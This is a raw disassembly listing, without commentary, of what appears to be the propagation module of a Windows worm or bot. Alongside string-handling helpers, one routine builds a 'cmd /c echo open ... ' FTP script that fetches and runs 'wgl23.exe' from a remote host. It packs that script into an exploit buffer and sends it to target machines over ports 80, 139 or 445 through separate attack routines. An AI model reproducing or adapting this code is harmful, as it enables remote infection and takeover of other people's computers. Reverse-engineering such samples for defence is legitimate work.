loc_40DA36:				; CODE XREF: sub_40D90F+116j
		push	4
		pop	esi
		cmp	[ebp+var_1C], esi
		jnb	short loc_40DA4F
		sub	esi, [ebp+var_1C]

loc_40DA41:				; CODE XREF: sub_40D90F+13Ej
		push	3Dh		; int
		push	edi		; Size
		lea	ecx, [ebp+var_38]
		call	sub_40DDA0
		dec	esi
		jnz	short loc_40DA41

loc_40DA4F:				; CODE XREF: sub_40D90F+12Dj
		cmp	[ebp+arg_8], 0
		ja	loc_40D957
		pop	ebx

loc_40DA5A:				; CODE XREF: sub_40D90F+3Ej
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40DD23
		mov	[ebp+var_20], edi
		and	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		call	sub_40DD70
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40D90F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA86	proc near		; CODE XREF: sub_40DB44+124p

var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		mov	eax, offset loc_43C7A9
		call	__EH_prolog
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4E6F58
		and	[ebp+var_4], 0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_4]
		push	eax
		call	sub_40D90F
		add	esp, 10h
		lea	ecx, [ebp+var_1C]
		mov	byte ptr [ebp+var_4], 1
		call	sub_40DE1C
		lea	ecx, [ebp+arg_C]
		mov	esi, eax
		call	sub_40DE1C
		lea	esi, [esi+eax+36h]
		push	esi		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40DADC
		xor	bl, bl
		jmp	short loc_40DB1B
; ---------------------------------------------------------------------------

loc_40DADC:				; CODE XREF: sub_40DA86+50j
		lea	ecx, [ebp+var_1C]
		call	sub_40DE0F
		push	eax
		lea	ecx, [ebp+arg_C]
		call	sub_40DE0F
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		push	0
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		cmp	eax, esi
		jz	short loc_40DB12
		xor	bl, bl
		jmp	short loc_40DB14
; ---------------------------------------------------------------------------

loc_40DB12:				; CODE XREF: sub_40DA86+86j
		mov	bl, 1

loc_40DB14:				; CODE XREF: sub_40DA86+8Aj
		push	edi		; Memory
		call	_free
		pop	ecx

loc_40DB1B:				; CODE XREF: sub_40DA86+54j
		and	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_40DD70
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_C]
		call	sub_40DD70
		mov	ecx, [ebp+var_C]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40DA86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB44	proc near		; DATA XREF: .data:0044934Co
					; .data:0044938Co

Dst		= byte ptr -424h
var_423		= byte ptr -423h
Dest		= byte ptr -395h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
Size		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	[ebp+Dst], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_423]
		push	8Fh		; Size
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+Dst]
		push	offset dword_449E58 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	eax, offset Str	; "wgl23.exe"
		push	eax
		push	eax
		movzx	eax, word ptr dword_4E3F28
		push	eax
		push	[ebp+arg_0]
		call	sub_40AFA9
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+Dest]
		push	400h		; Count
		push	eax		; Dest
		call	__snprintf
		add	eax, 90h
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	164h
		lea	eax, [ebp+Src]
		push	offset aSvwfbA	; "SVWf"
		push	eax
		call	sub_40D36D
		xor	ebx, ebx
		add	esp, 30h
		cmp	[ebp+Size], ebx
		jnz	short loc_40DBE2
		xor	eax, eax
		jmp	loc_40DCF0
; ---------------------------------------------------------------------------

loc_40DBE2:				; CODE XREF: sub_40DB44+95j
		mov	[ebp+var_C], ebx

loc_40DBE5:				; CODE XREF: sub_40DB44+183j
		test	ebx, ebx
		jnz	loc_40DCCD
		push	6
		push	1
		push	2
		call	ds:dword_4F6570	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40DCB5
		xor	eax, eax
		lea	edi, [ebp+var_1E]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_20], 2
		call	dword_4E4220	; htons
		mov	[ebp+var_1E], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E4260	; inet_addr
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DCAA
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_40DC72
		sub	esp, 10h
		lea	eax, [ebp+var_D]
		mov	ecx, esp
		mov	[ebp+var_24], esp
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_40DD4D
		push	[ebp+Size]
		push	[ebp+Src]
		push	esi
		call	sub_40DA86
		add	esp, 1Ch
		jmp	short loc_40DCA7
; ---------------------------------------------------------------------------

loc_40DC72:				; CODE XREF: sub_40DB44+106j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_40DC8C
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; int
		call	sub_40D871
		jmp	short loc_40DCA4
; ---------------------------------------------------------------------------

loc_40DC8C:				; CODE XREF: sub_40DB44+138j
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40DCAA
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; int
		call	sub_40D797

loc_40DCA4:				; CODE XREF: sub_40DB44+146j
		add	esp, 0Ch

loc_40DCA7:				; CODE XREF: sub_40DB44+12Cj
		movzx	ebx, al

loc_40DCAA:				; CODE XREF: sub_40DB44+FDj
					; sub_40DB44+152j
		push	esi
		call	dword_4E42B8	; closesocket
		test	ebx, ebx
		jnz	short loc_40DCC0

loc_40DCB5:				; CODE XREF: sub_40DB44+BAj
		push	3E8h
		call	ds:dword_4F6380	; Sleep

loc_40DCC0:				; CODE XREF: sub_40DB44+16Fj
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_40DBE5

loc_40DCCD:				; CODE XREF: sub_40DB44+A3j
		lea	ecx, [ebp+Src]
		call	sub_40D192
		test	ebx, ebx
		jz	short loc_40DCEE
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_449250[eax]
		lea	eax, dword_449250[eax]

loc_40DCEE:				; CODE XREF: sub_40DB44+193j
		mov	eax, ebx

loc_40DCF0:				; CODE XREF: sub_40DB44+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB44	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCF5	proc near		; DATA XREF: .data:00440008o
		call	sub_40E2EC
		jmp	$+5
		push	offset nullsub_1 ; void	(__cdecl *)()
		call	_atexit
		pop	ecx
		retn
sub_40DCF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD0B	proc near		; CODE XREF: sub_40D90F+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40E08D
		mov	eax, esi
		pop	esi
		retn	4
sub_40DD0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD23	proc near		; CODE XREF: sub_40D90F+152p
					; sub_43B410+3Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_40E08D
		push	ds:dword_43D478
		mov	ecx, esi
		push	0
		push	edi
		call	sub_40DE9E
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_40DD23	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD4D	proc near		; CODE XREF: sub_40DB44+118p
					; sub_43B3B0+27p ...

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40E08D
		push	[esp+4+Str]	; Str
		mov	ecx, esi
		call	sub_40DF94
		mov	eax, esi
		pop	esi
		retn	8
sub_40DD4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD70	proc near		; CODE XREF: sub_40D90F+161p
					; sub_40DA86+9Cp ...
		push	1
		call	sub_40E08D
		retn
sub_40DD70	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40DD78(char	*Str)

sub_40DD78	proc near		; CODE XREF: sub_40D90F+11Ep

Src		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+Src]	; Str
		call	sub_40DD95
		pop	ecx
		push	eax		; Size
		mov	ecx, esi
		push	[esp+8+Src]	; Src
		call	sub_40DE34
		pop	esi
		retn	4
sub_40DD78	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40DD95(char *Str)

sub_40DD95	proc near		; CODE XREF: sub_40DD78+7p
					; sub_40DF94+7p

Str		= dword	ptr  4

		push	[esp+Str]	; Str
		call	_strlen
		pop	ecx
		retn
sub_40DD95	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40DDA0(size_t Size,int)

sub_40DDA0	proc near		; CODE XREF: sub_40D90F+107p
					; sub_40D90F+138p

Size		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_43D478
		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40DDBA
		call	sub_43B3B0

loc_40DDBA:				; CODE XREF: sub_40DDA0+13j
		test	ebx, ebx
		jbe	short loc_40DDEE
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40DFE1
		test	al, al
		jz	short loc_40DDEE
		lea	eax, [esp+0Ch+arg_4]
		push	eax		; int
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	ebx		; Size
		push	eax		; Dst
		call	sub_40DDF6
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DFB1

loc_40DDEE:				; CODE XREF: sub_40DDA0+1Cj
					; sub_40DDA0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40DDA0	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40DDF6(void *Dst,size_t Size,int)

sub_40DDF6	proc near		; CODE XREF: sub_40DDA0+3Ep

Dst		= dword	ptr  4
Size		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	[esp+Size]	; Size
		movsx	eax, byte ptr [eax]
		push	eax		; Val
		push	[esp+8+Dst]	; Dst
		call	_memset
		add	esp, 0Ch
		retn
sub_40DDF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE0F	proc near		; CODE XREF: sub_40DA86+59p
					; sub_40DA86+62p ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40DE1B
		call	sub_40E087

locret_40DE1B:				; CODE XREF: sub_40DE0F+5j
		retn
sub_40DE0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE1C	proc near		; CODE XREF: sub_40DA86+32p
					; sub_40DA86+3Cp
		mov	eax, [ecx+8]
		retn
sub_40DE1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE20	proc near		; CODE XREF: sub_40D90F+33p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	[ecx+0Ch], eax
		jnb	short locret_40DE31
		push	0
		push	eax
		call	sub_40DFE1

locret_40DE31:				; CODE XREF: sub_40DE20+7j
		retn	4
sub_40DE20	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40DE34(void	*Src,size_t Size)

sub_40DE34	proc near		; CODE XREF: sub_40DD78+14p

Src		= dword	ptr  4
Size		= dword	ptr  8

		mov	eax, ds:dword_43D478
		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40DE4E
		call	sub_43B3B0

loc_40DE4E:				; CODE XREF: sub_40DE34+13j
		test	ebx, ebx
		jbe	short loc_40DE81
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40DFE1
		test	al, al
		jz	short loc_40DE81
		mov	eax, [esi+4]
		push	ebx		; Size
		push	[esp+10h+Src]	; Src
		add	eax, [esi+8]
		push	eax		; Dst
		call	sub_40DE89
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DFB1

loc_40DE81:				; CODE XREF: sub_40DE34+1Cj
					; sub_40DE34+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40DE34	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40DE89(void *Dst,void	*Src,size_t Size)

sub_40DE89	proc near		; CODE XREF: sub_40DE34+3Dp
					; sub_40DE9E+D9p ...

Dst		= dword	ptr  4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	[esp+Size]	; Size
		push	[esp+4+Src]	; Src
		push	[esp+8+Dst]	; Dst
		call	_memcpy
		add	esp, 0Ch
		retn
sub_40DE89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE9E	proc near		; CODE XREF: sub_40DD23+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, ebx
		call	sub_40DF90
		cmp	eax, [ebp+arg_4]
		jnb	short loc_40DEBA
		call	sub_43B6B0

loc_40DEBA:				; CODE XREF: sub_40DE9E+15j
		mov	ecx, ebx
		call	sub_40DF90
		mov	edi, eax
		mov	eax, [ebp+arg_4]
		sub	edi, eax
		cmp	[ebp+arg_8], edi
		jnb	short loc_40DED0
		mov	edi, [ebp+arg_8]

loc_40DED0:				; CODE XREF: sub_40DE9E+2Dj
		cmp	esi, ebx
		jnz	short loc_40DEF5
		push	ds:dword_43D478
		add	edi, eax
		mov	ecx, esi
		push	edi
		call	sub_40E11D
		push	[ebp+arg_4]
		mov	ecx, esi
		push	0
		call	sub_40E11D
		jmp	loc_40DF87
; ---------------------------------------------------------------------------

loc_40DEF5:				; CODE XREF: sub_40DE9E+34j
		test	edi, edi
		jbe	short loc_40DF5A
		mov	ecx, ebx
		call	sub_40DF90
		cmp	edi, eax
		jnz	short loc_40DF5A
		mov	ecx, ebx
		call	sub_40DE0F
		push	eax
		mov	ecx, esi
		call	sub_40E272
		cmp	byte ptr [eax],	0FEh
		jnb	short loc_40DF5A
		push	ebx
		push	esi
		call	sub_40E2D7
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40DF5A
		push	1
		mov	ecx, esi
		call	sub_40E08D
		mov	ecx, ebx
		call	sub_40DE0F
		mov	ecx, ebx
		mov	[esi+4], eax
		call	sub_40DF90
		mov	ecx, ebx
		mov	[esi+8], eax
		call	sub_40E1A9
		push	dword ptr [esi+4]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_40E272
		inc	byte ptr [eax]
		jmp	short loc_40DF87
; ---------------------------------------------------------------------------

loc_40DF5A:				; CODE XREF: sub_40DE9E+59j
					; sub_40DE9E+64j ...
		push	1
		push	edi
		mov	ecx, esi
		call	sub_40DFE1
		test	al, al
		jz	short loc_40DF87
		push	edi		; Size
		mov	ecx, ebx
		call	sub_40DE0F
		add	eax, [ebp+arg_4]
		push	eax		; Src
		push	dword ptr [esi+4] ; Dst
		call	sub_40DE89
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DFB1

loc_40DF87:				; CODE XREF: sub_40DE9E+52j
					; sub_40DE9E+BAj ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40DE9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF90	proc near		; CODE XREF: sub_40DE9E+Dp
					; sub_40DE9E+1Ep ...
		mov	eax, [ecx+8]
		retn
sub_40DF90	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40DF94(char	*Str)

sub_40DF94	proc near		; CODE XREF: sub_40DD4D+18p
					; sub_40E287+34p

Src		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+Src]	; Str
		call	sub_40DD95
		pop	ecx
		push	eax		; Size
		mov	ecx, esi
		push	[esp+8+Src]	; Src
		call	sub_40E0E7
		pop	esi
		retn	4
sub_40DF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFB1	proc near		; CODE XREF: sub_40DDA0+49p
					; sub_40DE34+48p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		mov	[ecx+8], eax
		mov	ecx, [ecx+4]
		lea	edx, [ebp+var_1]
		add	ecx, eax
		push	edx
		push	ecx
		call	sub_40DFD4
		pop	ecx
		pop	ecx
		leave
		retn	4
sub_40DFB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DFD4	proc near		; CODE XREF: sub_40DFB1+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	al, [eax]
		mov	[ecx], al
		retn
sub_40DFD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DFE1	proc near		; CODE XREF: sub_40DDA0+28p
					; sub_40DE20+Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40E197
		mov	edi, [esp+0Ch+arg_0]
		cmp	eax, edi
		jnb	short loc_40DFF8
		call	sub_43B3B0

loc_40DFF8:				; CODE XREF: sub_40DFE1+10j
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40E038
		push	eax
		mov	ecx, esi
		call	sub_40E272
		cmp	[eax], bl
		jz	short loc_40E038
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E272
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40E038
		cmp	edi, ebx
		jnz	short loc_40E077
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E272
		dec	byte ptr [eax]
		push	ebx

loc_40E02D:				; CODE XREF: sub_40DFE1+63j
		mov	ecx, esi
		call	sub_40E08D

loc_40E034:				; CODE XREF: sub_40DFE1+68j
					; sub_40DFE1+72j
		xor	al, al
		jmp	short loc_40E081
; ---------------------------------------------------------------------------

loc_40E038:				; CODE XREF: sub_40DFE1+1Ej
					; sub_40DFE1+2Aj ...
		cmp	edi, ebx
		jnz	short loc_40E055
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40E046
		push	1
		jmp	short loc_40E02D
; ---------------------------------------------------------------------------

loc_40E046:				; CODE XREF: sub_40DFE1+5Fj
		cmp	[esi+4], ebx
		jz	short loc_40E034
		push	ebx
		mov	ecx, esi
		call	sub_40DFB1
		jmp	short loc_40E034
; ---------------------------------------------------------------------------

loc_40E055:				; CODE XREF: sub_40DFE1+59j
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40E072
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40E067
		cmp	eax, edi
		jnb	short loc_40E07F

loc_40E067:				; CODE XREF: sub_40DFE1+80j
		push	1
		mov	ecx, esi
		call	sub_40E08D
		jmp	short loc_40E077
; ---------------------------------------------------------------------------

loc_40E072:				; CODE XREF: sub_40DFE1+78j
		cmp	[esi+0Ch], edi
		jnb	short loc_40E07F

loc_40E077:				; CODE XREF: sub_40DFE1+3Dj
					; sub_40DFE1+8Fj
		push	edi
		mov	ecx, esi
		call	sub_40E1AD

loc_40E07F:				; CODE XREF: sub_40DFE1+84j
					; sub_40DFE1+94j
		mov	al, 1

loc_40E081:				; CODE XREF: sub_40DFE1+55j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40DFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E087	proc near		; CODE XREF: sub_40DE0F+7p
		mov	eax, offset dword_43D47C
		retn
sub_40E087	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E08D	proc near		; CODE XREF: sub_40DD0B+Dp
					; sub_40DD23+Ep ...

arg_0		= byte ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	[esp+4+arg_0], bl
		push	esi
		mov	esi, ecx
		jz	short loc_40E0D9
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_40E0D9
		push	eax
		call	sub_40E272
		cmp	[eax], bl
		jz	short loc_40E0C7
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E272
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40E0C7
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E272
		dec	byte ptr [eax]
		jmp	short loc_40E0D9
; ---------------------------------------------------------------------------

loc_40E0C7:				; CODE XREF: sub_40E08D+1Bj
					; sub_40E08D+2Aj
		mov	eax, [esi+0Ch]
		mov	ecx, esi
		inc	eax
		inc	eax
		push	eax
		mov	eax, [esi+4]
		dec	eax
		push	eax
		call	unknown_libname_32 ; Microsoft VisualC 2-8/net runtime

loc_40E0D9:				; CODE XREF: sub_40E08D+Aj
					; sub_40E08D+11j ...
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		pop	esi
		pop	ebx
		retn	4
sub_40E08D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40E0E7(void	*Src,size_t Size)

sub_40E0E7	proc near		; CODE XREF: sub_40DF94+14p

Src		= dword	ptr  4
Size		= dword	ptr  8

		push	esi
		push	1
		push	[esp+8+Size]
		mov	esi, ecx
		call	sub_40DFE1
		test	al, al
		jz	short loc_40E117
		push	[esp+4+Size]	; Size
		push	[esp+8+Src]	; Src
		push	dword ptr [esi+4] ; Dst
		call	sub_40DE89
		add	esp, 0Ch
		mov	ecx, esi
		push	[esp+4+Size]
		call	sub_40DFB1

loc_40E117:				; CODE XREF: sub_40E0E7+10j
		mov	eax, esi
		pop	esi
		retn	8
sub_40E0E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E11D	proc near		; CODE XREF: sub_40DE9E+41p
					; sub_40DE9E+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40E130
		call	sub_43B6B0

loc_40E130:				; CODE XREF: sub_40E11D+Cj
		mov	ecx, edi
		call	sub_40E287
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40E146
		mov	ebx, eax

loc_40E146:				; CODE XREF: sub_40E11D+25j
		test	ebx, ebx
		jbe	short loc_40E17A
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax		; Size
		lea	eax, [ecx+ebx]
		push	eax		; Src
		push	ecx		; Dst
		call	sub_40E182
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40DFE1
		test	al, al
		jz	short loc_40E17A
		push	esi
		mov	ecx, edi
		call	sub_40DFB1

loc_40E17A:				; CODE XREF: sub_40E11D+2Bj
					; sub_40E11D+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40E11D	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40E182(void *Dst,void	*Src,size_t Size)

sub_40E182	proc near		; CODE XREF: sub_40E11D+3Ap

Dst		= dword	ptr  4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	[esp+Size]	; Size
		push	[esp+4+Src]	; Src
		push	[esp+8+Dst]	; Dst
		call	_memcpy_0
		add	esp, 0Ch
		retn
sub_40E182	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E197	proc near		; CODE XREF: sub_40DFE1+5p
					; sub_40E1AD+1Ep
		call	sub_40E2D3
		cmp	eax, 2
		ja	short loc_40E1A5
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_40E1A5:				; CODE XREF: sub_40E197+8j
		add	eax, 0FFFFFFFEh
		retn
sub_40E197	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1A9	proc near		; CODE XREF: sub_40DE9E+A6p
		mov	eax, [ecx+0Ch]
		retn
sub_40E1A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E1AD	proc near		; CODE XREF: sub_40DFE1+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_43C7B4
		call	__EH_prolog
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		mov	[ebp+var_10], esp
		mov	[ebp+var_14], esi
		or	edi, 1Fh
		call	sub_40E197
		cmp	eax, edi
		jnb	short loc_40E1D7
		mov	edi, [ebp+arg_0]

loc_40E1D7:				; CODE XREF: sub_40E1AD+25j
		and	[ebp+var_4], 0
		lea	eax, [edi+2]
		push	0
		push	eax
		mov	ecx, esi
		call	sub_40E2C3
		mov	[ebp+arg_0], eax
		jmp	short loc_40E210
; ---------------------------------------------------------------------------

loc_40E1ED:				; DATA XREF: .rdata:0043F3E4o
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_18], eax
		add	eax, 2
		push	0
		push	eax
		call	sub_40E2C3
		mov	[ebp+arg_0], eax
		mov	eax, offset loc_40E20A
		retn
; ---------------------------------------------------------------------------

loc_40E20A:				; DATA XREF: sub_40E1AD+57o
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_18]

loc_40E210:				; CODE XREF: sub_40E1AD+3Ej
		mov	eax, [esi+8]
		or	[ebp+var_4], 0FFFFFFFFh
		test	eax, eax
		jbe	short loc_40E232
		cmp	eax, edi
		jbe	short loc_40E221
		mov	eax, edi

loc_40E221:				; CODE XREF: sub_40E1AD+70j
		push	eax		; Size
		mov	eax, [ebp+arg_0]
		push	dword ptr [esi+4] ; Src
		inc	eax
		push	eax		; Dst
		call	sub_40DE89
		add	esp, 0Ch

loc_40E232:				; CODE XREF: sub_40E1AD+6Cj
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40E08D
		mov	eax, [ebp+arg_0]
		mov	ecx, esi
		inc	eax
		push	eax
		mov	[esi+4], eax
		call	sub_40E272
		and	byte ptr [eax],	0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40E259
		mov	edi, ebx

loc_40E259:				; CODE XREF: sub_40E1AD+A8j
		push	edi
		mov	ecx, esi
		call	sub_40DFB1
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40E1AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E272	proc near		; CODE XREF: sub_40DE9E+70p
					; sub_40DE9E+B3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		retn	4
sub_40E272	endp

; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_32. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40E287	proc near		; CODE XREF: sub_40E11D+15p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40E2C1
		push	eax
		call	sub_40E272
		cmp	byte ptr [eax],	0
		jz	short loc_40E2C1
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E272
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40E2C1
		push	edi
		mov	edi, [esi+4]
		push	1
		mov	ecx, esi
		call	sub_40E08D
		push	edi		; Str
		mov	ecx, esi
		call	sub_40DF94
		pop	edi

loc_40E2C1:				; CODE XREF: sub_40E287+8j
					; sub_40E287+13j ...
		pop	esi
		retn
sub_40E287	endp


